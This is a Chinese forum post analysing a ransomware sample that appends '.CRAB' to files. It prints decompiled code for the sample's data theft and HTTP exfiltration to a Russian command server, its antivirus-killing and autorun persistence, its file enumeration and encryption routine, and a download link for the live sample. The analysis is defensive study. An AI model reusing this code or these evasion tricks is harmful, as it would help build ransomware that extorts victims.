-
UID:17777
-
- 注册时间2007-05-02
- 最后登录2025-05-03
- 在线时间18637小时
-
- 发帖786318
- 搜Ta的帖子
- 精华0
- 飞翔币211574
- 威望215717
- 飞扬币2615516
- 信誉值8
-
访问TA的空间加好友用道具
- 发帖
- 786318
- 飞翔币
- 211574
- 威望
- 215717
- 飞扬币
- 2615516
- 信誉值
- 8
|
至此,核心dll,终于解密出来了,我们继续dump下来进行接下来的关键分析七、核心dl分析 dll入口处便是创建了一个线程 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094431r2rr3322o3cl63vr.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 接下来发现了一些样本即将可能要获得的敏感信息进行定义 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094436ihkixcdhx5ign5il.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 一系列获得计算机敏感信息的操作 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094441yp7opxquph42q8ox.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 查询输入法主键,如果输入法主键是419便退出样本程序 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094449fzfrzr8ontfcokcn.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 如果不是便进一步获取一些敏感信息 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094455mmfm1cx41xdmbz7b.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 紧接着枚举了一些进程,如果存在这些进程便终止线程,经百度发现这些是杀毒程序 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094501hzs7sns81vb591a5.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > =750) window.open('https://attach.52pojie.cn/forum/201907/24/094508ppmx5hmmm0bnfbhj.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > =750) window.open('https://attach.52pojie.cn/forum/201907/24/094514cdyi2yy93iqi9iz3.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 申请下一部分内存,进行将获得的信息进行字符拼接,并创建互斥体防止多开 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094519lpot3ung26i6up3j.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > OD发现此时已经收集到的敏感信息 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094525lhvvlvj0hj788t7b.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > =750) window.open('https://attach.52pojie.cn/forum/201907/24/094530a2wc222ifcwrnpe1.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 随后从内存中的字符串中随机出一个字符串,用来命名即将复制完样本后的新程序 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094535vm4auub37mnt5tmb.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 将原样本进行映射到一个文件夹并以这个字符串命名,并注册表设置开机自启 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094541ncvlv44iyklujy7i.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > OD追踪到的路径 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094557x5fsbzjjz65fjpzh.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > =750) window.open('https://attach.52pojie.cn/forum/201907/24/094605e4ftfz4gcjsvj2jg.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 创建完文件后,随之的是进行大量进程的枚举, =750) window.open('https://attach.52pojie.cn/forum/201907/24/094610t318qkh9aaynpys8.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 如果运行的进程中含有如上程序,就将其关闭 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094616vzle7jk1pxv7b11x.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 随后的函数中意外发现,有个ransom_id字符,(不懂百度,ransom:交付赎金··· 所以说这是一个勒索样本?),获得的ransam信息存入{USERID}中 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094621rj50l8gla8ygp0v7.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > =750) window.open('https://attach.52pojie.cn/forum/201907/24/094629dzcxmtcnxxugg5ml.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 随后还拼接出来一个网址,进行存入 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094636n493t4a666s4y6yi.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > ping后,发现网站已经无响应,ip眼熟的很,见上文网络状态捕捉 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094641qz29j2pak9kp5n20.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 再之后发现其申请了两份空间,用来保存密钥 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094647cruckxkkrugllrbp.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 八、网络行为 这时将之前的收集到的敏感信息进行拼接,存储,并调用对这些数据进行加密 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094653r31y1gkckk11lony.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 调用加密函数RAS加密这些数据后,紧接着获得到本机访问IP后,继续将加密后的数据进行编码转换[Patch] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 00C5FE6C 00D8C552 00C5FE70 00017380 00C5FE74 00010088 UNICODE "C:Documents and SettingsAdministratorApplicatio" 00C5FE78 00D8BCB0 ASCII "BgIAAACkAABSU0ExAAgAAAEAAQAtaDqiZd5/hUQOGq5EefbOfmcXytb+AhgujeWsrnUq6za2AvKLXL5oEhLns0bmt+HtOUzMMTsl" 00C5FE7C 0000017C 00C5FE80 00D80000 00C5FE84 00C5FF00 00C5FE88 00C70000 UNICODE "zaauza?ber=ee" 00C5FE8C 0000C552 00C5FE90 00000000 00C5FE94 00D80000 00C5FE98 7C93048C ntdll.7C93048C 00C5FE9C 00150000 00C5FEA0 00000000 00C5FEA4 00164F20 00C5FEA8 00C5FEB8 00C5FEAC 7C930462 ntdll.7C930462转换编码后的数据[Asm] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 00C5FE68 10010DA0 ASCII "&version=0" 00C5FE6C 10010D48 UNICODE "30" 00C5FE70 00E30000 ASCII "BgIAAACkAABSU0ExAAgAAAEAAQAtaDqiZd5/hUQOGq5EefbOfmcXytb+AhgujeWsUq6za2AvKLXL5oEhLns0bmt+HtOUzMMTslIp" 00C5FE74 00E40000 ASCII "jxjU9VOYwFCblUIJBVl9rKDWPr8/T1jWlAH3J0/Gy0uEP+1KgOToqwkEcNclVBXJrncrq/3JBZ0L/J6y7LyqdLs8YW2iiXHtpGEB" //转换后 00C5FE78 10010D50 UNICODE "35" 00C5FE7C 000017E2 00C5FE80 00D80000 00C5FE84 00000000 00C5FE88 00C70000 UNICODE "zaauza?ber=ee" 00C5FE8C 00E30000 ASCII "BgIAAACkAABSU0ExAAgAAAEAAQAtaDqiZd5/hUQOGq5EefbOfmcXytb+AhgujeWsUq6za2AvKLXL5oEhLns0bmt+HtOUzMMTslIp" 00C5FE90 00000000利用nslookup.exe 程序执行相关命令,向指定某个网站发送数据 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094658io8oqqc384v8j9g4.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 网络抓包发现还是这个ip,同时百度发现(.ru)后缀网站大多属于俄罗斯 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094703o5q5smisiuukl5u0.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 持续不断的向目标服务器上发送数据,但当前此服务器已经停止使用,无法解析就进入死循环如果解析成功便,构件一个请求头,向这个服务器发送数据请求,而这段数据就是前面中获得的敏感信息进行加密,转换编码后的数据[C++] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 if ( *(_DWORD *)(this + 4) ) InternetCloseHandle(*(HINTERNET *)(this + 4)); sub_10008DA0((_DWORD *)v12); // 网络连接初始化 result = InternetConnectW(*(HINTERNET *)(v12 + 4), lpszServerName, 0x50u, 0, 0, 3u, 0, 0);// 建立网络连接 v14 = result; v30 = 0; hInternet = result; if ( result ) { v15 = VirtualAlloc(0, 0x2800u, 0x3000u, 0x40u); lpAddress = v15; wsprintfW((LPWSTR)v15, L"%s", a3); v16 = HttpOpenRequestW(v14, lpszVerb, (LPCWSTR)v15, L"HTTP/1.1", 0, 0, 0x8404F700, 0);// 创建http请求 if ( v16 ) { *(_DWORD *)szHeaders = 7274568; v27 = 0; v20 = 7602291; v21 = 2097210; v22 = 6357091; v23 = 6553714; v24 = 7471205; v25 = 6422574; v26 = 7602281; if ( HttpAddRequestHeadersW(v16, szHeaders, 0xFFFFFFFF, 0) )// 构建http 头 { if ( HttpSendRequestW(v16, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength) )// 向指定网站发送请求 lpOptional是加密后的数据 { v17 = lpBuffer; v18 = a7 - 1; lpszServerName = 0; if ( InternetReadFile(v16, lpBuffer, a7 - 1, (LPDWORD)&lpszServerName) )// 读取相关数据 { do { if ( !lpszServerName ) break; v17[(_DWORD)lpszServerName] = 0; lpszServerName = 0; v30 = (void *)1; } while ( InternetReadFile(v16, v17, v18, (LPDWORD)&lpszServerName) ); } } else { GetLastError(); } } } InternetCloseHandle(v16); InternetCloseHandle(hInternet); VirtualFree(lpAddress, 0, 0x8000u); result = v30; } return result;}由于前面的无法解析目标服务器,会导致死循环,火绒剑能一直监控到nslookup.exe一直在不断访问目标服务器,虽然我有强行修改标志位,让其跳出循环,虽然跳出来了,但........仍旧跑飞,试了很多方法,也换了虚拟机,还是一直跑飞,没有什么好办法 =750) window.open('https://attach.52pojie.cn/forum/201907/24/094723rzhguus1y3t3qqny.png');\" style=\"max-width:750px;\" onload=\"if(this.offsetWidth>'750')this.width='750';\" > 所以下面的只能凭IDA静态分析分析接下来的加密函数了九、文件加密 大致流程获取盘符来判断是否要进行加密,如果主机是是可移动型,或是硬盘,ram类型的就创建线程,检索文件的路径进行加密文件获取了了一些特殊文件夹,这些文件夹的用处都是能确定系统正常运行的文件夹,样本过滤了这些特殊文件夹的文件,以免干扰系统正常运作[C++] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 LABEL_18: if ( sub_100091C0(v2, (char *)L"\Boot\") ) {LABEL_21: v13 = lpAddress; goto LABEL_22; } if ( sub_100091C0(v2, (char *)L"\Program Files\") ) { *v19 = 1; goto LABEL_21; } if ( sub_100091C0(v2, (char *)L"\Tor Browser\") || sub_100091C0(v2, (char *)L"Ransomware") || sub_100091C0(v2, (char *)L"\All Users\") || sub_100091C0(v2, (char *)L"\Local Settings\") ) { goto LABEL_21; }此外还进行判断文件后缀是否是.sql文件[C++] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 lstrcatW((LPWSTR)v6, L"*"); v11 = FindFirstFileW(v6, &FindFileData); // 搜索指定目录路径 hFindFile = v11; *v10 = 0; if ( v11 == (HANDLE)-1 ) { result = -559038801; } else { do // 进去循环 { if ( lstrcmpW(FindFileData.cFileName, L".") && lstrcmpW(FindFileData.cFileName, L"..") ) { v8((LPWSTR)v6, FindFileData.cFileName); if ( FindFileData.dwFileAttributes & 0x10 ) { if ( v29 ) { if ( sub_100091C0((char *)v6, (char *)L"SQL") )// 判断文件后缀是不是 sql { v8((LPWSTR)v6, L"\"); sub_10007910(v27, v6, a3, a4, a5, 1); } }还将获得的文件路径进行比较,是否存在以下的配置文件[C++] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 v5 = v3 + 1; if ( lstrcmpiW(v5, L"desktop.ini") && lstrcmpiW(v5, L"autorun.inf") && lstrcmpiW(v5, L"ntuser.dat") && lstrcmpiW(v5, L"iconcache.db") && lstrcmpiW(v5, L"bootsect.bak") && lstrcmpiW(v5, L"boot.ini") && lstrcmpiW(v5, L"ntuser.dat.log") && lstrcmpiW(v5, L"thumbs.db") ) { result = lstrcmpiW(v5, L"CRAB-DECRYPT.txt") == 0;// 判断是否存在这些特殊文件 } else { result = 1; }最后是终于到了加密函数[C++] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 v2 = lpNewFileName; if ( sub_10007510(lpNewFileName) ) // 获得的文件名进行匹配 { result = 0; } else { _mm_storel_pd((double *)&v10, 0i64); v4 = (WCHAR *)VirtualAlloc(0, 0x201u, 0x3000u, 4u); v5 = v4; if ( v4 ) { wsprintfW(v4, L"%s.CRAB", v2); // 后缀为.CRAB v6 = GetFileAttributesW(v2); // 获得文件或目录的系统属性 SetFileAttributesW(v2, v6 & 0xFFFFFFFE); // 重新设置文件或目录属性 EnterCriticalSection(&stru_10013CF4); if ( MoveFileW(v2, v5) ) // 开始加密 { LeaveCriticalSection(&stru_10013CF4); LODWORD(v7) = sub_10004070(v5, a1); // 加密函数 HIDWORD(v10) = HIDWORD(v7); v8 = v7; if ( v7 ) { VirtualFree((LPVOID)v5, 0, 0x8000u); result = v8; } else { MoveFileW(v5, v2); // 加密后修改文件名 .CRAB VirtualFree((LPVOID)v5, 0, 0x8000u);加密函数流程如下[C++] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 if ( sub_100071B0(pbData, dwDataLen, (BYTE *)lpAddress, &v26, 0x800u) ) { sub_10009490((int)&v21, (int)&v20); hFile = CreateFileW(v2, 0xC0000000, 1u, 0, 3u, 0x80u, 0);// 打开要加密的文件 if ( hFile == (HANDLE)-1 ) goto LABEL_6; v11 = VirtualAlloc(0, 8u, 0x3000u, 4u); v12 = v11; *v11 = 0; v11[1] = 0; v13 = VirtualAlloc(0, 0x100001u, 0x3000u, 4u);// 申请一份300u的空间用来存放要打开的加密文件数据 v9 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree; v14 = 0; v39 = v13; lpOverlapped = 0; while ( ReadFile(hFile, v13, 0x100000u, &NumberOfBytesRead, 0) && NumberOfBytesRead )// 读取文件 { lpBuffer = 0; HIDWORD(v34) = 0; if ( NumberOfBytesRead < 0x100000 ) v14 = 1; *(_QWORD *)v12 += NumberOfBytesRead; v15 = NumberOfBytesRead; v27 = NumberOfBytesRead; v35 = NumberOfBytesRead; if ( NumberOfBytesRead & 0xF ) { do ++v15; while ( v15 & 0xF ); NumberOfBytesRead = v15; } v32 = VirtualAlloc(0, v15, 0x3000u, 4u); sub_10009A90((unsigned int)v32, (char *)v39, v35); v35 = NumberOfBytesRead; v16 = (const __m128i *)VirtualAlloc(0, NumberOfBytesRead, 0x3000u, 4u); if ( v16 ) sub_10003F90(v35, (__m128i *)v32, (const __m128i **)&lpBuffer, (int)&v20, (const __m128i *)&v24, v16);// 对文件数据进行加密函数 VirtualFree(v32, 0, 0x8000u); if ( !SetFilePointerEx(hFile, (LARGE_INTEGER)-(signed __int64)__PAIR__(HIDWORD(v34), v27), 0, 1u) )// 改变文件指针 GetLastError(); if ( !WriteFile(hFile, lpBuffer, NumberOfBytesRead, &NumberOfBytesWritten, 0) )// hFile 是打开的要加密的文件句柄 第一次写入 { v14 = 1; lpOverlapped = (LPOVERLAPPED)1; } VirtualFree((LPVOID)lpBuffer, 0, 0x8000u); if ( v14 ) break; v13 = v39; } VirtualFree(v39, 0, 0x8000u); v17 = hFile; if ( !lpOverlapped ) { WriteFile(hFile, v41, 0x100u, &NumberOfBytesWritten, 0);// 第二次写入,写入大小100u WriteFile(v17, lpAddress, 0x100u, &NumberOfBytesWritten, 0);// 第三次写入,大小100u WriteFile(v17, v12, 8u, &NumberOfBytesWritten, 0);// 第四次写入,大小为8u }具体加密过程,没有OD进行动态跟踪我也就只能进加密函数大致猜测一下,发现函数里存在着一些位移和大量的异或操作,加密过程应该是通过加密函数的算法先进行位移,后异或,加密数据,可能还判断了要加密的数据长度,进行分段加密,或者以要加密文件数据长度区分进行不同的加密[C++] 纯文本查看 复制代码?[tr=none] 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 if ( v4 != 160 ) { if ( v4 != 192 ) { if ( v4 != 224 ) return -1; v10 = __ROL4__(v6, 16); v11 = dword_1000BEC0[BYTE1(v10)] ^ dword_1000B6C0[BYTE1(v8)] ^ dword_1000B2C0[(unsigned __int8)v7] ^ *(_DWORD *)(a3 + 24); v12 = dword_1000BAC0[(unsigned __int8)v10] ^ dword_1000B6C0[BYTE1(v5)] ^ dword_1000B2C0[(unsigned __int8)v8] ^ *(_DWORD *)(a3 + 28); v13 = dword_1000B2C0[(unsigned __int8)v5]; v14 = (v10 >> 16) | v5 & 0xFFFF0000; v15 = v8 >> 16; v16 = dword_1000BEC0[BYTE1(v15)] ^ dword_1000B6C0[BYTE1(v14)] ^ v13; v17 = dword_1000B2C0[(unsigned __int8)v14] ^ dword_1000B6C0[BYTE1(v7)] ^ dword_1000BAC0[(unsigned __int8)v15]; v14 >>= 16; v18 = v7 >> 16; v19 = dword_1000BEC0[BYTE1(v18)] ^ v12; v20 = dword_1000BAC0[(unsigned __int8)v14] ^ v11; v21 = dword_1000BEC0[BYTE1(v14)] ^ v17; v22 = dword_1000BAC0[(unsigned __int8)v18] ^ v16; v23 = v20; v24 = v19; v25 = *(_DWORD *)(a3 + 16) ^ v22; v26 = __ROL4__(*(_DWORD *)(a3 + 20) ^ v21, 16); v27 = dword_1000BEC0[BYTE1(v26)] ^ dword_1000B6C0[BYTE1(v24)] ^ dword_1000B2C0[(unsigned __int8)v20] ^ *(_DWORD *)(a3 + 40); v28 = dword_1000BAC0[(unsigned __int8)v26] ^ dword_1000B6C0[BYTE1(v25)] ^ dword_1000B2C0[(unsigned __int8)v19] ^ *(_DWORD *)(a3 + 44); v29 = dword_1000B2C0[(unsigned __int8)v25]; v30 = (v26 >> 16) | v25 & 0xFFFF0000; v24 >>= 16; v31 = dword_1000BEC0[BYTE1(v24)] ^ dword_1000B6C0[BYTE1(v30)] ^ v29; v32 = dword_1000B2C0[(unsigned __int8)v30] ^ dword_1000B6C0[BYTE1(v23)] ^ dword_1000BAC0[(unsigned __int8)v24]; v30 >>= 16;总结一波:有些地方样本操作,可能没有详细的讲到位,或者是没提到,分析不出所以然来(经验少,见识少,知识不够·····),水了一大堆,精简后些后还是图片太多过了限制,菜的只能靠水撑了(最后面老粘代码)文件加密部分实在是难受啊.......能动态分析就不会这么草草了解啊。。虽然也可能什么所以然也分析不出,还是有点遗憾。最后菜.......求轻。 如有错误,还望大佬指出,不胜感激!!样本:链接: https://pan.baidu.com/s/1RBYw9_WOTQaMGjrBc59NmA 提取码: vdtc 复制这段内容后打开百度网盘手机App,操作更方便哦vdtc密码: www.52pojie.cn
|